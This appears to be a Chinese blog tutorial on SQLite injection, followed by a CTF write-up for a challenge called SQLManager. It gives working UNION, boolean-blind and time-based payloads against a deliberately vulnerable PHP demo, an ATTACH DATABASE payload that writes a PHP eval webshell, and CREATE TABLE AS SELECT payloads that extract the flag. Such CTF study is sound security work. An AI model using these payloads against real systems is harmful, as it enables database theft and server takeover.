打iisc的初赛遇到了一道sqlite的题目,发现sqlite的注入遇到的很少,于是干脆梳理一下,总结一下。
sqlite和mysql等还是有些区别的,sqlite的每一个数据库就是一个文件。
创建数据库
这个命令执行后就会在当前目录下生成对应名称的文件,之后的数据操作都是对该文件的操作。
执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
数据库成功创建后可以使用 SQLite 的 .databases 命令来检查它是否在数据库列表中
打开数据库
Use ".open FILENAME" to reopen on a persistent database. sqlite> .open sqltest.db
导入导出
# 导出
$sqlite3 testDB.db .dump > testDB.sql
# 导入
$sqlite3 testDB.db < testDB.sql
创建表
语句和mysql差不多
sqlite> create table test( ...> id INT PRIMARY KEY NOT NULL, ...> name char(50) NOT NULL ...> );
查看表
.tables 命令用来列出附加数据库中的所有表。
sqlite> .tables
test
.schema 命令得到表的完整信息:
sqlite> .schema test
CREATE TABLE test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
);
值得注意的一点是得到的结果是我们创建表时执行的命令语句,这也是sqlite的特点,之后再说。
插入数据
INSERT INTO 语句用于向数据库的某个表中添加新的数据行。
sqlite> insert into test (id,name) values (1,'alice'); sqlite> insert into test (id,name) values (2,'bob');
查询语句
使用select关键字
sqlite> select * from test; id name ---------- ---------- 1 alice 2 bob sqlite> select name from test; name ---------- alice bob
如果查询结果格式比较乱,需要设置格式化输出。
sqlite_master
sqlite_master表中保存数据库表的关键信息。
这是sqlite_master表的结构
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
他保存了执行的sql语句,也是之后注入查询表名列名的关键。
从sqlite_master查表名:
sqlite> select tbl_name from sqlite_master where type='table'; tbl_name ---------- test
获取表名和列名:
sqlite> select sql from sqlite_master where type='table'; sql ---------------------------------------------------------------------------- CREATE TABLE test( id INT PRIMARY KEY NOT NULL, name char(50) NOT NULL )
格式化输出
格式化输出内容,能更直观查看命令执行结果。
sqlite>.header on
sqlite>.mode column
sqlite>.timer on
sqlite>
还有其他的查询语法可以去查询文档。
数据库数据:
sqlite> create table user_data(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL,
...> passwd cahr(50) NOT NULL);
sqlite> insert into user_data (id,name,passwd) values (1,'admin','password');
sqlite> insert into user_data (id,name,passwd) values (2,'bob','wowowow');
sqlite> insert into user_data (id,name,passwd) values (3,'flag','flag{test}');
sqlite> select * from user_data;
1|admin|password
2|bob|wowowow
3|flag|flag{test}
页面:
<html> <body> <form action="" method="POST"> <input type="text" name="id" size="80"> <input type="submit"> </form> </body> </html> <?php class MyDB extends SQLite3 { function __construct() { $this->open('user.db'); } } $db = new MyDB(); if(!$db){ echo $db->lastErrorMsg(); } else { echo "Opened database successfully\n</br>"; } $id = $_POST['id']; $sql =<<<EOF SELECT * from user_data where id='$id'; EOF; $ret = $db->query($sql); if($ret==FALSE){ echo "Error in fetch ".$db->lastErrorMsg(); } else{ while($row = $ret->fetchArray(SQLITE3_ASSOC) ){ echo "ID = ". $row['id'] . "</br>"; echo "NAME = ". $row['name'] ."</br>"; echo "PASS = ". $row['passwd'] ."</br>"; } var_dump($ret->fetchArray(SQLITE3_ASSOC)); } $db->close(); ?>
以上demo正常的功能是输入id查询数据库中数据.
测试:
正常输入查询
尝试闭合单引号:
闭合语句
使用order by确定查询字段数:
1' order by 3;
1' order by 4;
0' union select 1,2,3;
查版本。
0' union select 1,2,sqlite_version();
查表名和字段。
0' union select 1,2,sql from sqlite_master;
or
0' union select 1,2,sql from sqlite_master where type='table';
or
0' union select 1,2,sql from sqlite_master where type='table' and name='user_data';
或者:
多条记录时可以使用group_concat聚合或者使用limit
0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
或者使用limit来输出一行结果
0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 --
limit后面接的数字是截取的行数,而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中,limit提取了两个表名,然后第一个被offset删除掉,所以我们获得了第二个表名。
另外可以通过下面的payload获取到格式化过的列名:
0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') from sqlite_master where type='table' and name='user_data' --
查数据
0' union select id,name,passwd from user_data;
使用group_concat连接查询结果
0' union select 1,2,group_concat(passwd) from user_data;
当然,hex,limit,substr等也都可以在注入中用来构造语句。
和其他注入差不多,列举几个注入payload:
bool
没有mid、left等函数
select * from test where id =1 union select 1,length(sqlite_version())=6
sqlite> select * from test union select 1,length(sqlite_version())=6;
id name
---------- ----------
1 1
1 alice
2 bob
Run Time: real 0.003 user 0.000115 sys 0.002050
sqlite> select * from test union select 1,length(sqlite_version())=5;
id name
---------- ----------
1 0
1 alice
2 bob
Run Time: real 0.001 user 0.000133 sys 0.000126
select * from test where id=1 and length(sqlite_version())=5;
sqlite> select * from test where id=1 and length(sqlite_version())=5;
Run Time: real 0.001 user 0.000065 sys 0.000493
sqlite> select * from test where id=1 and length(sqlite_version())=6;
id name
---------- ----------
1 alice
Run Time: real 0.001 user 0.000079 sys 0.000115
select * from test where id=1 and substr(sqlite_version(),1,1)='3';
sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='3';
id name
---------- ----------
1 alice
Run Time: real 0.000 user 0.000067 sys 0.000039
sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='2';
Run Time: real 0.000 user 0.000054 sys 0.000031
sleep
sqlite没有sleep()函数,但是有个函数randomblob(N),作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
而且sqlite没有if函数,可以使用case来构造条件
select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);
sqlite> select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);
Run Time: real 6.195 user 5.804650 sys 0.329666
写shell依靠sqlite的创建数据库功能。
除了前面提到的 sqlite3 test.db
这种方法还可以通过 ATTACH DATABASE
这种方法来实现。
ATTACH
假设这样一种情况,当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。
附加:
attach [database] filename as database_name;
取消:
attach [database] filename as database_name;
如果目标数据库存在,则会直接使用该数据库进行附加,把数据库文件名称与逻辑数据库 'database_name' 绑定在一起。如果目标不存在,则会先创建该数据库,如果数据库文件路径设置在web目录下,就可以实现写shell的功能。
要实现写shell,需要如下操作:
通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表。=> 在表中插入payload
在sqlite shell中实现如下:
但是在我的 demo 中测试时发现,并没有创建对应的文件,应该是没有成功执行attach和后面的代码。再去看了下前面的demo代码,发现查询操作使用的是 query 方法,在使用 exec 方法的时候就可以正常利用了。
payload:
';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --
题目叫做SQLManager,页面简单实现了sqlite数据库的管理,实现的功能只有table的创建,展示,record的插入。
存在源码泄漏:
view-source:http://eci-2zeiqyu2obvakg4ee0sx.cloudeci1.ichunqiu.com/.index.php.swp
拿到源码如下:
<?php include 'util.php'; include 'config.php'; error_reporting(0); session_start(); $method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET'); $page = (string) ($_GET['page'] ?? 'index'); if (!in_array($page, ['index', 'build', 'modify', 'remove'])) { redirect('?page=index'); } $message = $_SESSION['flash'] ?? ''; unset($_SESSION['flash']); if (in_array($page, ['modify', 'remove']) && !isset($_SESSION['database'])) { flash("Please build database first."); } if (isset($_SESSION['database'])) { $pdo = new PDO('sqlite:db/' . $_SESSION['database']); $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . tableName . "' LIMIT 1;"); $tName = $stmt->fetch(PDO::FETCH_ASSOC)['name']; $stmt = $pdo->query("PRAGMA table_info(`{$tName}`);"); $cName = $stmt->fetchAll(PDO::FETCH_ASSOC); } if ($page === 'modify' && $method === 'POST') { $values = $_POST['values']; $stmt = $pdo->prepare("INSERT INTO `{$tName}` VALUES (?" . str_repeat(',?', count($cName) - 1) . ")"); $stmt->execute($values); redirect('?page=index'); } if ($page === 'build' && $method === 'POST' && !isset($_SESSION['database'])) { if (!isset($_POST['table_name']) || !isset($_POST['columns'])) { flash('Parameters missing.'); } $tName = (string) $_POST['table_name']; $ccc = $_POST['columns']; $filename = bin2hex(random_bytes(16)) . '.db'; $pdo = new PDO('sqlite:db/' . $filename); if (!filter($tName)) { flash('表不合法'); } if (strlen($tName) < 4 || 32 < strlen($tName)) { flash('表不合法'); } if (count($ccc) <= 0 || 10 < count($ccc)) { flash('列不合法'); } $sql = "CREATE TABLE {$tName} ("; $sql .= "example1 TEXT, example2 TEXT"; for ($i = 0; $i < count($ccc); $i++) { $column = (string) ($ccc[$i]['name'] ?? ''); $type = (string) ($ccc[$i]['type'] ?? ''); if (!filter($column) || !filter($type)) { flash('列不合法'); } if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) { flash('列不合法'); } $sql .= ', '; $sql .= "`$column` $type"; } $sql .= ');'; $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);'); $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");'); $pdo->query($sql); $_SESSION['database'] = $filename; redirect('?page=index'); } if ($page === 'remove') { $_SESSION = array(); session_destroy(); redirect('?page=index'); } if ($page === 'index' && isset($_SESSION['database'])) { $stmt = $pdo->query("SELECT * FROM `{$tName}`;"); if ($stmt === FALSE) { $_SESSION = array(); session_destroy(); redirect('?page=index'); } $result = $stmt->fetchAll(PDO::FETCH_NUM); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script> <title>SQLManager</title> </head> <body background="show.jpg"> <h1>SQLManager</h1> <?php if (!empty($message)) { ?> <div class="info">信息 <?= $message ?></div> <?php } ?> <?php if ($page === 'index') { ?> <?php if (isset($_SESSION['database'])) { ?> <h2><?= e($tName) ?> (<a href="?page=remove">删表</a>)</h2> <form action="?page=modify" method="POST"> <table> <tr> <?php for ($i = 0; $i < count($cName); $i++) { ?> <th><?= e($cName[$i]['name']) ?></th> <?php } ?> </tr> <?php for ($i = 0; $i < count($result); $i++) { ?> <tr> <?php for ($j = 0; $j < count($result[$i]); $j++) { ?> <td><?= e($result[$i][$j]) ?></td> <?php } ?> </tr> <?php } ?> <tr> <?php for ($i = 0; $i < count($cName); $i++) { ?> <td><input type="text" name="values[]"></td> <?php } ?> </tr> </table> <input type="submit" value="Insert values"> </form> <?php } else { ?> <h2>建表</h2> <form action="?page=build" method="POST"> <div id="info"> <label>表名 <input type="text" name="table_name" id="table_name" value="输入表名"></label><br> <label>列数 <input type="number" min="1" max="10" id="num" value="1"></label><br> <button id="next">Next</button> </div> <div id="table" class="hidden"> <table> <tr> <th>Name</th> <th>Type</th> </tr> <tr> <td>example1</td> <td>TEXT</td> </tr> <tr> <td>example2</td> <td>TEXT</td> </tr> </table> <input type="submit" value="Create table"> </div> </form> <script> $('#next').on('click', () => { let num = parseInt($('#num').val(), 10); let len = $('#table_name').val().length; if (4 <= len && len <= 32 && 0 < num && num <= 10) { $('#info').addClass('hidden'); $('#table').removeClass('hidden'); for (let i = 0; i < num; i++) { $('#table table').append($(` <tr> <td><input type="text" name="columns[${i}][name]"></td> <td> <select name="columns[${i}][type]"> <option value="INTEGER">INTEGER</option> <option value="REAL">REAL</option> <option value="TEXT">TEXT</option> </select> </td> </tr>`)); } } return false; }); </script> <?php } ?> <?php } ?>
有了源码,逻辑就清晰了许多,源码中有flag表创建和插入flag的操作,可以确定flag存在于数据库中,但是对于表名和flag值都是在开始包含进来的config.php里定义的。
在源码中的创建表相关代码可以发现,创建表时表名,列名,列类型可能存在SQL注入:
$sql = "CREATE TABLE {$tName} ("; $sql .= "example1 TEXT, example2 TEXT"; for ($i = 0; $i < count($ccc); $i++) { $column = (string) ($ccc[$i]['name'] ?? ''); $type = (string) ($ccc[$i]['type'] ?? ''); if (!filter($column) || !filter($type)) { flash('列不合法'); } if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) { flash('列不合法'); } $sql .= ', '; $sql .= "`$column` $type"; } $sql .= ');'; $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);'); $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");'); $pdo->query($sql);
看一下最终拼接后的sql语句:
CREATE TABLE {$tName} (example1 TEXT, example2 TEXT, `$column` $type);
sqlite_master表是SQLite的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个SQLIte数据库的时候,该表会自动创建。sqlite_master表包含5列。
type列记录了项目的类型,如table、index、view、trigger。
name列记录了项目的名称,如表名、索引名等。
tbl_name列记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。
rootpage列记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL。
sql列记录创建该项目的SQL语句。
那我们只有只要想办法查sqlite_master表就知道flag表和对应的字段名。结合上面的sql语句,我们可以使用这种方式:
create table aa as select xxx from xxx
同时参数还经过了filter函数的处理,被检测到就显示表名非法。
那么通过表名,列名和类型三个地方传入payload,来拼接出我们想要执行的语句。
但是发现在tbname后还拼接了一些内容会造成干扰,这里可以通过 反引号 把它包裹起来,因为包裹起来的内容就成为了关键字,就相
于 select xx as key
,看一下这个例子:
同时反引号可以使用[]
来替代绕过过滤。
payload1:
在创建表时,表名: t AS SELECT sql [
列名: abc
列类型: ] FROM sqlite_master;
这时的sql语句就是:
CREATE TABLE t AS SELECT sql [ (example1 TEXT, example2 TEXT, abc ] FROM sqlite_master;);
等价于
CREATE TABLE t AS SELECT sql FROM sqlite_master;
得到了表名和列名,替换语句中的sql和sqlite_master 即可获得flag:
payload2:
t AS SELECT flag_ThE_C0lumn [
abc
]FROM flag_Y0U_c4nt_GUESS;